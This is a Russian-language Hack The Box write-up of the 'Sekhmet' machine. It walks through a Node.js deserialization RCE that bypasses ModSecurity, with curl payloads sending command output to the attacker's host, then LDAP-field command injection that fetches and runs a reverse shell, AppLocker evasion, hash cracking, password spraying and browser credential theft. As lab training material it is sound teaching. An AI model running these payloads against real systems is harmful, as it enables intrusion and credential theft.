Хакер - HTB Sekhmet. Обходим ModSecurity и атакуем Active Directory

Хакер - HTB Sekhmet. Обходим ModSecurity и атакуем Active Directory

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Node.js RCE + байпас ModSecurity
  • Продвижение WEBSERVER.windcorp.htb
  • Zip decrypt
  • Повышение привилегий WEBSERVER.windcorp.htb
  • Разведка в сети windcorp.htb
  • HOPE.windcorp.htb
  • Продвижение HOPE.windcorp.htb
  • Повышение привилегий HOPE.windcorp.htb

В этом рай­тапе я покажу, как экс­плу­ати­ровать уяз­вимость при десери­али­зации Node.js с обхо­дом ModSecurity. Затем взло­маем ZIP-архив и бла­года­ря Kerberos повысим при­виле­гии на пер­вом хос­те. Пос­ле это­го зах­ватим кон­трол­лер домена, про­экс­плу­ати­ровав RCE.

Все это — в рам­ках про­хож­дения тре­ниро­воч­ной машины Sekhmet с пло­щад­ки Hack The Box. Ее уро­вень слож­ности — «безум­ный».

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. 

РАЗВЕДКА

Сканирование портов

Пер­вым делом добав­ляем IP-адрес машины в /etc/hosts:

10.10.11.179 sekhmet.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ви­дим два откры­тых пор­та: 22 — служ­ба OpenSSH 8.4p1 и 80 — веб‑сер­вер Nginx 1.18.0. При обра­щении к веб‑сер­веру сра­зу выпол­няет­ся редирект на дру­гой домен.

Burp History

До­бав­ляем его в файл /etc/hosts и сно­ва обра­щаем­ся к сай­ту.

10.10.11.179 sekhmet.htb windcorp.htb

Глав­ная стра­ница сай­та windcorp.htb

ТОЧКА ВХОДА

На сай­те ничего инте­рес­ного не находим. Но, учи­тывая, что мы наш­ли реаль­ное домен­ное имя, есть смысл прос­каниро­вать под­домены. Я это делаю с помощью ска­нера ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -r — выпол­нять редирек­ты;
  • -fs — филь­тро­вать стра­ницы по раз­меру;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

По­луча­ется вот такая коман­да:

ffuf -u 'http://windcorp.htb/' -H 'Host: FUZZ.windcorp.htb' -w subdomains-top1million-110000.txt -t 256 -fs 153

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

В ито­ге находим еще один сайт и добав­ляем его в файл /etc/hosts.

10.10.11.179 sekhmet.htb windcorp.htb portal.windcorp.htb

Стра­ница авто­риза­ции на portal.windcorp.htb

Сле­дующее дей­ствие при изу­чении сай­та — поиск скры­тых катало­гов и стра­ниц. Я сно­ва поп­робовал исполь­зовать ffuf, но это не дало резуль­татов, так как, ско­рее все­го, про­веря­ются заголов­ки. Что­бы не мучить­ся с ними, я стал ска­ниро­вать при помощи Burp Intruder.

Ре­зуль­тат ска­ниро­вания катало­гов в Burp Intruder

И сно­ва ничего инте­рес­ного. У нас оста­лась толь­ко фор­ма авто­риза­ции, поэто­му поп­робу­ем ее обой­ти. Нас­коль­ко велико было мое удив­ление, ког­да получи­лось авто­ризо­вать­ся с логином и паролем admin:admin!

Глав­ная стра­ница авто­ризо­ван­ного поль­зовате­ля

За­тем мое вни­мание прив­лекли cookie поль­зовате­ля. Ока­залось, что это закоди­рован­ные в Base64 дан­ные в фор­мате JSON. В целом по виду cookie очень похоже, что исполь­зует­ся Node.js. И мы можем утвер­ждать, что на сто­роне сер­вера про­исхо­дит десери­али­зация и исполь­зование этих дан­ных.

Де­коди­рова­ние cookie в Burp Inspector

Поп­робу­ем поис­кать под­ходящие уяз­вимос­ти. Я без тру­да нагуг­лил статью Exploiting Node.js deserialization bug for Remote Code Execution, где опи­сано, как выявить и про­экс­плу­ати­ровать уяз­вимость при десери­али­зации дан­ных в Node.js. Я соб­рал и закоди­ровал наг­рузку, сле­дуя рекомен­даци­ям из статьи, но мой зап­рос был заб­локиро­ван.

Со­обще­ние о бло­киров­ке зап­роса

В тек­сте стра­ницы находим упо­мина­ние ModSecurity, который и бло­киру­ет нам дос­туп.

Ин­форма­ция о защите сай­та

Это оче­ред­ное зве­но цепоч­ки, про­дол­жаем раз­бирать­ся с сай­том и вник­нем в Node.js более под­робно.

ТОЧКА ОПОРЫ

Node.js RCE + байпас ModSecurity

ModSecurity — это WAF с откры­тым исходным кодом. Имен­но ModSecurity не дает нам подоб­рать­ся к при­ложе­нию. Но иног­да и в самих WAF находят уяз­вимос­ти. Так, быс­трый поиск в Google вывел меня на статью, где рас­ска­зано о CVE-2019-19886, поз­воля­ющей обой­ти ModSecurity. Уда­лось даже най­ти целый PoC для этой уяз­вимос­ти. Ее смысл зак­люча­ется в том, что мы исполь­зуем ошиб­ку в пар­сере ModSecurity и как бы пря­чем наг­рузку, переда­вая cookie param=payload сле­дующим обра­зом:

param=payload=real_value

Тог­да при­ложе­ние рас­парсит куки как param:payload, а WAF — как param:payload=value, что поз­волит миновать филь­тры.

Для экс­плу­ата­ции RCE в Node.js нам нуж­но передать наг­рузку через параметр username в сле­дующей конс­трук­ции:

{"username":"_$$ND_FUNC$$_function(){}()"}

За­тем закоди­руем ее в Base64 и вста­вим в cookie как profile=payload=value.

Пер­вым делом откро­ем лис­тенер nc -nlvp 80 и поп­робу­ем выпол­нить зап­рос на свой сер­вер через curl:

{"username":"_$$ND_FUNC$$_function(){require("child_process").exec("curl http://10.10.14.29", function(error, stdout, stderr){});}()"}'

Ис­ходное зна­чение cookie
Ито­говый зап­рос на сер­вер
Ло­ги лис­тенера

В ито­ге на наш лис­тенер при­шел зап­рос, а это зна­чит, что мы добились RCE. Выпол­нить реверс‑шелл не получи­лось, поэто­му поп­робу­ем записать ключ SSH. Нам нуж­но знать имя поль­зовате­ля, которо­го мы исполь­зуем для выпол­нения команд. Его мож­но эксфиль­тро­вать, закоди­ровав в Base64 резуль­тат выпол­нения коман­ды id и вста­вив его как URI.

{"username":"_$$ND_FUNC$$_function(){ require("child_process").exec("curl http://10.10.14.29/$(id|base64 -w0)", function(error, stdout, stderr){});}()"}

Ло­ги лис­тенера
Ло­ги лис­тенера

Так мы получа­ем имя текуще­го поль­зовате­ля. Теперь узна­ем, име­ет ли он дос­туп к коман­дной обо­лоч­ке, для чего получим запись из фай­ла /etc/passwd.

{"username":"_$$ND_FUNC$$_function(){ require("child_process").exec("curl http://10.10.14.29/$(cat /etc/passwd| grep webster|base64 -w0)", function(error, stdout, stderr){});}()"}

Ло­ги лис­тенера

Поль­зователь име­ет коман­дную обо­лоч­ку, теперь можем записы­вать ключ SSH. Для это­го сге­нери­руем пару клю­чей с помощью ssh-keygen и запус­тим в катало­ге с клю­чами веб‑сер­вер Python 3:

python3 -m http.server 80

За­тем ска­чаем ключ и запишем в файл authorized_keys.

{"username":"_$$ND_FUNC$$_function(){require("child_process").exec("curl http://10.10.14.29/id_rsa.pub > ~/.ssh/authorized_keys", function(error, stdout, stderr){});}()"}

Как толь­ко в логах веб‑сер­вера уви­дим обра­щение к пуб­лично­му клю­чу, мож­но авто­ризо­вать­ся по SSH.

Сес­сия поль­зовате­ля webserver

ПРОДВИЖЕНИЕ WEBSERVER.WINDCORP.HTB

В домаш­нем катало­ге поль­зовате­ля находим бэкап, который ска­чива­ем на локаль­ную машину.

scp -i id_rsa webster@10.10.11.179:~/backup.zip ./

Со­дер­жимое архи­ва backup.zip

Ви­дим нес­коль­ко инте­рес­ных фай­лов, но архив защищен паролем, при этом прос­мотр спис­ка фай­лов раз­решен. Схе­ма с получе­нием хеша и его даль­нейшим перебо­ром у таких архи­вов не сра­бота­ет, но мож­но про­вес­ти ата­ку на осно­ве извес­тно­го откры­того тек­ста. 

Zip decrypt

Для такой ата­ки нужен извес­тный нам файл, который так­же есть в архи­ве. Я выб­рал файл /etc/passwd. Его нуж­но заар­хивиро­вать — тоже с паролем (я выб­рал passwd) — и ска­чать на локаль­ную машину. Ког­да все будет готово, мы можем вос­поль­зовать­ся ути­литой bkcrack. Пер­вом делом получим ключ, для чего ука­жем целевой архив (параметр -C), извес­тный файл (параметр ), наш архив (параметр -P) и пароль от него (параметр -p).

./bkcrack -C backup.zip -c etc/passwd -P passwd.zip -p passwd

По­луче­ние клю­ча шиф­рования

А теперь уста­нав­лива­ем на архив новый пароль.

./bkcrack -C backup.zip -U new.zip new -k d6829d8d 8514ff97 afc3f825

Рас­шифро­выва­ние архи­ва

Те­перь откры­ваем new.zip с паролем new и выбира­ем инте­рес­ные фай­лы, нап­ример фай­лы кеша Kerberos.

Со­дер­жимое архи­ва new.zip

А теперь выбира­ем из фай­лов все стро­ки и находим учет­ные дан­ные в фай­ле cache_windcorp.htb.ldb.

Ло­гин поль­зовате­ля
Хеш пароля поль­зовате­ля

Те­перь узна­ем режим для перебо­ра хеша. Это мож­но сде­лать, поис­кав мар­кер в справ­ке hashcat.

hashcat --example | grep '\$6\$' -A2 -B2

По­иск типа хеша

Та­ким обра­зом, это хеш SHA-512, для которо­го нуж­но ука­зывать режим 1800 (параметр -m).

hashcat -a 0 -m 1800 ray.hash rockyou.txt

Ре­зуль­тат перебо­ра хеша

По­луча­ем пароль, с которым успешно авто­ризу­емся на хос­те по SSH. 

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ WEBSERVER.WINDCORP.HTB

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Я для это­го обыч­но исполь­зую скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим и выпол­ним скрипт для Linux и с его помощью най­дем адрес еще одной машины в сети, а так­же узна­ем, что наш хост находит­ся в домене.

Со­дер­жимое фай­ла /etc/hosts
Ин­форма­ция Kerberos

Так как мы в домене, поп­робу­ем получить и кеширо­вать билет TGT для нашего поль­зовате­ля с помощью коман­ды kinit. А затем про­верим, мож­но ли получить при­виле­гиро­ван­ный кон­текст с помощью ksu (ана­лог обыч­ного su для Kerberos).

Сме­на кон­тек­ста поль­зовате­ля

Этот поль­зователь может изме­нить кон­текст безопас­ности и получить высокие при­виле­гии на хос­те. Забира­ем пер­вый поль­зователь­ский флаг.

Флаг поль­зовате­ля

РАЗВЕДКА В СЕТИ WINDCORP.HTB

Ра­нее мы наш­ли хост windcorp.htb. Нуж­но его прос­каниро­вать; ско­рее все­го, это кон­трол­лер домена. Я заг­рузил на хост ста­тичес­ки соб­ранный Nmap и запус­тил ска­ниро­вание пор­тов.

nmap -p- 192.168.0.2

Ре­зуль­тат ска­ниро­вания пор­тов

Дос­тупен Kerberos, но зап­рещен RPC, поэто­му для даль­нейшей работы получим билет уже извес­тно­го нам поль­зовате­ля ray.duncan. Что­бы мы мог­ли работать с кон­трол­лером домена нап­рямую со сво­ей машины, нуж­но про­кинуть тра­фик через про­межу­точ­ный хост. Для это­го мож­но исполь­зовать стан­дар­тный SSH. Копиру­ем ключ SSH руту, а затем ука­зыва­ем при под­клю­чении параметр -D, который ска­жет соз­дать SOCKS-тун­нель.

ssh -i id_rsa root@10.10.11.179 -D 1080

За­тем в фай­ле /etc/proxychains.conf соз­дадим запись для соз­данно­го тун­неля.

socks5 127.0.0.1 1080

А теперь сде­лаем TGS-билет Kerberos для нашего поль­зовате­ля, что­бы прос­мотреть дос­тупные общие катало­ги. Для это­го будем исполь­зовать скрипт getST из пакета скрип­тов impacket.

proxychains -q impacket-getST -dc-ip 192.168.0.2 -spn cifs/hope.windcorp.htb windcorp.htb/ray.duncan:pantera

По­луче­ние TGS для служ­бы CIFS

Эк­спор­тиру­ем билет в локаль­ное окру­жение и под­клю­чаем­ся к служ­бе SMB.

export KRB5CCNAME=ray.duncan.ccache

proxychains -q impacket-smbclient ray.duncan@hope.windcorp.htb -k -no-pass

Об­щие ресур­сы

Сре­ди этих катало­гов наибо­лее инте­ресен поль­зователь­ский WC-Share.

Со­дер­жимое катало­га WC-Share

Файл в этом катало­ге содер­жит малень­кий спи­сок поль­зовате­лей и какие‑то чис­ла.

Со­дер­жимое фай­ла debug-users.txt

Не получив ничего боль­ше, я решил прой­тись по LDAP, но перед этим нуж­но про­верить, дос­тупна ли аутен­тифика­ция через Kerberos. Эту работу я про­водил с про­межу­точ­ного хос­та, так как Kerberos там уже нас­тро­ен.

ldapsearch -x -LLL -b "" -s base supportedSASLMechanisms -H ldap:/windcorp.htb | grep GSSAPI

Ре­зуль­тат выпол­нения зап­роса

Сре­ди под­держи­ваемых механиз­мов аутен­тифика­ции есть GSSAPI. Про­верим это, узнав свой рабочий кон­текст при аутен­тифика­ции Kerberos для LDAP.

ldapwhoami -Y GSSAPI -H ldap://windcorp.htb

Ре­зуль­тат выпол­нения ldapwhoami

Все под­твер­дилось, и мы успешно авто­ризо­вались как текущий поль­зователь. Теперь собира­ем все, что нам даст LDAP, и сох­раня­ем в файл.

ldapsearch -LLLY GSSAPI -b 'DC=windcorp,DC=htb' -H ldap://windcorp.htb > scan.txt

Дамп базы LDAP

Прос­матри­вая информа­цию о текущем поль­зовате­ле, я обра­тил вни­мание на его номер телефо­на, который был записан в файл debug-users.txt вмес­те с име­нем поль­зовате­ля.

Па­рамет­ры поль­зовате­ля Ray.Duncan

Вер­нувшись к обще­му катало­гу, обра­тим вни­мание на то, что файл обновля­ется каж­дые две минуты.

Со­дер­жимое обще­го катало­га

Воз­можно, на хос­те работа­ет скрипт, который получа­ет записи из LDAP и записы­вает в файл. Поп­робу­ем выпол­нить инъ­екцию коман­ды ОС.

HOPE.WINDCORP.HTB

Вы­пол­ним зап­рос на свой хост и про­верим пред­положе­ние о внед­рении коман­ды. Спер­ва соз­дадим файл с пра­вилом замены. Ука­жем в нем иден­тифика­тор, дей­ствие, поле и новое зна­чение.

dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb

changetype: modify

replace: mobile

mobile: ;wget http://10.10.14.173/file -O c:\wc-share\file;

Те­перь изме­ним номер в базе LDAP, ука­зав файл с соз­данным пра­вилом.

ldapmodify -Y GSSAPI -H ldap://windcorp.htb -D "CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb" -f new.rec

Из­менение записи в базе LDAP

Спус­тя минуту в логах веб‑сер­вера Python 3 видим при­шед­ший зап­рос, а в общем катало­ге на сер­вере появил­ся наш файл.

Ло­ги веб‑сер­вера
Со­дер­жимое обще­го ресур­са

Вы­пол­нить реверс‑шелл на PowerShell не вый­дет, так как раз­мер поля огра­ничен и шелл прос­то не помес­тится в него. Тог­да я решил эксфиль­тро­вать резуль­тат выпол­нения коман­ды через файл. Изме­ним нашу запись, что­бы она выпол­няла коман­ду whoami и записы­вала резуль­тат в файл.

mobile: ;whoami > c:\wc-share\r.txt

Ре­зуль­тат выпол­нения коман­ды whoami

Та­ким обра­зом коман­да выпол­нилась. Но скрип­ты, которые я заг­рузил, не работа­ли. Тог­да я решил взгля­нуть на полити­ки AppLocker.

mobile: ;Get-AppLockerPolicy -Effective -Xml > c:\wc-share\r.txt

По­лити­ки AppLocker для скрип­тов

По­лити­ки для скрип­тов и исполня­емых фай­лов оди­нако­вы и раз­реша­ют выпол­нение фай­лов из катало­га C:\Windows\ и всех его вло­жен­ных катало­гов, за исклю­чени­ем перечис­ленных. Изу­чив записи, мож­но заметить, что в исклю­чении не ука­зан каталог C:\Windows\debug\wia\. Тог­да я решил соб­рать реверс‑шелл самос­тоятель­но. Для это­го мож­но исполь­зовать удоб­ный он­лай­новый генера­тор реверс‑шел­лов. Ука­зыва­ем парамет­ры, такие как локаль­ные хост и порт, а так­же язык (я выб­рал C#) и целевую сис­тему.

Online Reverse Shell Generator

Со­бира­ем файл и заг­ружа­ем в ука­зан­ный каталог.

mobile: ;wget http://10.10.14.3/ca.exe -O c:\windows\debug\wia\ca.exe;

Пос­ле того как на наш веб‑сер­вер при­шел зап­рос, откры­ваем лис­тенер и выпол­няем ска­чан­ный файл.

mobile: ;c:\windows\debug\wia\ca.exe;

Соз­данная сес­сия

Сес­сия появи­лась, сра­зу про­веря­ем кон­текст работы, зап­росив всю информа­цию о поль­зовате­ле.

Ин­форма­ция о текущем поль­зовате­ле

ПРОДВИЖЕНИЕ HOPE.WINDCORP.HTB

Зай­мем­ся базовой раз­ведкой, есть выбор: мож­но исполь­зовать скрип­ты на PowerShell вро­де PowerUp, зна­мени­тый WinPEAS или более спе­циали­зиро­ван­ный Seatbelt. Я исполь­зовал Seatbelt, для чего уже соб­ранную вер­сию из ре­пози­тория заг­рузил на хост.

Спер­ва запус­каем скрипт с парамет­ром -group=system, что­бы переб­рать сис­темные нас­трой­ки.

Ло­ги Seatbelt

Как видишь, на хос­те акти­виро­вана аутен­тифика­ция NTLM, поэто­му мы можем обра­тить­ся к собс­твен­ному ресур­су и получить NetNTLMv2-хеш пароля поль­зовате­ля, так как он по умол­чанию попыта­ется авто­ризо­вать­ся. Возь­мем с GitHub ском­пилиро­ван­ный исполня­емый файл impacket smbserver и заг­рузим на уда­лен­ный хост Linux. Затем раз­вернем прос­той сер­вер SMB.

./smbserver_linux_x86_64 -smb2support asd .

Ког­да все будет готово, оста­нет­ся толь­ко обра­тить­ся к обще­му ресур­су. В логах сер­вера уви­дим учет­ные дан­ные, исполь­зован­ные при под­клю­чении.

dir \\webserver.windcorp.htb\asd\

Ло­ги SMB-сер­вера impacket

Па­роли такого типа мож­но подоб­рать очень быс­тро. Я для это­го исполь­зую hashcat.

hashcat -m 5600 ntlm.hash rockyou.txt

Ре­зуль­тат перебо­ра хеша

Так мы получа­ем пароль поль­зовате­ля scriptrunner. Нуж­но обя­затель­но про­верить, не исполь­зуют ли этот пароль дру­гие учет­ные записи и поль­зовате­ли. У нас уже есть база LDAP, отфиль­тру­ем име­на поль­зовате­лей и нап­равим в отдель­ный файл.

cat scan.txt | grep -i samaccountname | grep -v '\$' | cut -d ' ' -f 2 > users.txt

А теперь спре­им пароль по всем поль­зовате­лям из фай­ла с помощью kerbrute.

./kerbrute_linux_amd64 passwordspray -d windcorp.htb ./users.txt '!@p%i&J#iNNo1T2'

Ре­зуль­тат спрея пароля

Мы наш­ли еще одно­го поль­зовате­ля. Давай получим шелл от его име­ни стан­дар­тным спо­собом через New-PSSessions. Будем запус­кать наш исполня­емый файл, поэто­му пред­варитель­но не забыва­ем запус­тить еще один лис­тенер на том же пор­те.

$pass = ConvertTo-SecureString '!@p%i&J#iNNo1T2' -AsPlainText -Force

$creds = New-Object System.Management.Automation.PSCredential('Bob.Wood', $pass)

$session = New-PSSession -Credential $creds

Invoke-Command -Session $session -scriptblock { c:\windows\debug\wia\ca.exe }

Сес­сия поль­зовате­ля Bob.Wood

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ HOPE.WINDCORP.HTB

Мы заш­ли от име­ни дру­гого поль­зовате­ля, но нет смыс­ла сно­ва про­верять все воз­можнос­ти повыше­ния при­виле­гий. Мож­но про­верить толь­ко парамет­ры, спе­цифич­ные для отдель­ного поль­зовате­ля. В Seatbelt исполь­зуем параметр -group=misc. В поле ChromeHistory будет исто­рия зап­росов поль­зовате­ля из бра­узе­ра.

Ис­тория зап­росов из бра­узе­ра

Что­бы «рас­потро­шить» любой бра­узер на полез­ные для ата­кующе­го дан­ные, мож­но исполь­зовать написан­ную на Go ути­литу HackBrowserData. Заг­ружа­ем исполня­емый файл на уда­лен­ный хост и запус­каем.

Ло­ги HackBrowserData

HBD обна­ружил и экспор­тировал все дан­ные из бра­узе­ра Edge. Пер­вым делом нас инте­ресу­ют сох­ранен­ные учет­ные дан­ные.

Сох­ранен­ные учет­ные дан­ные

Спи­сок поль­зовате­лей у нас есть, теперь получа­ем еще и пароли. Спре­им получен­ные пароли по всем поль­зовате­лям.

kerbrute_linux_amd64 passwordspray -d windcorp.htb ./users.txt 'smeT-Worg-wer-m024'

Ре­зуль­тат спрея пароля

В ито­ге получа­ем учет­ные дан­ные еще одно­го поль­зовате­ля (при этом с при­пис­кой adm). Конеч­но, соз­даем реверс‑шелл в его кон­тек­сте.

$pass = ConvertTo-SecureString 'smeT-Worg-wer-m024' -AsPlainText -Force

$creds = New-Object System.Management.Automation.PSCredential('bob.woodadm', $pass)

$session = New-PSSession -Credential $creds

Invoke-Command -Session $session -scriptblock { c:\windows\debug\wia\ca.exe }

Ин­форма­ция о поль­зовате­ле

Как мож­но заметить, поль­зователь вхо­дит в груп­пу адми­нис­тра­торов домена. Забира­ем флаг рута.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page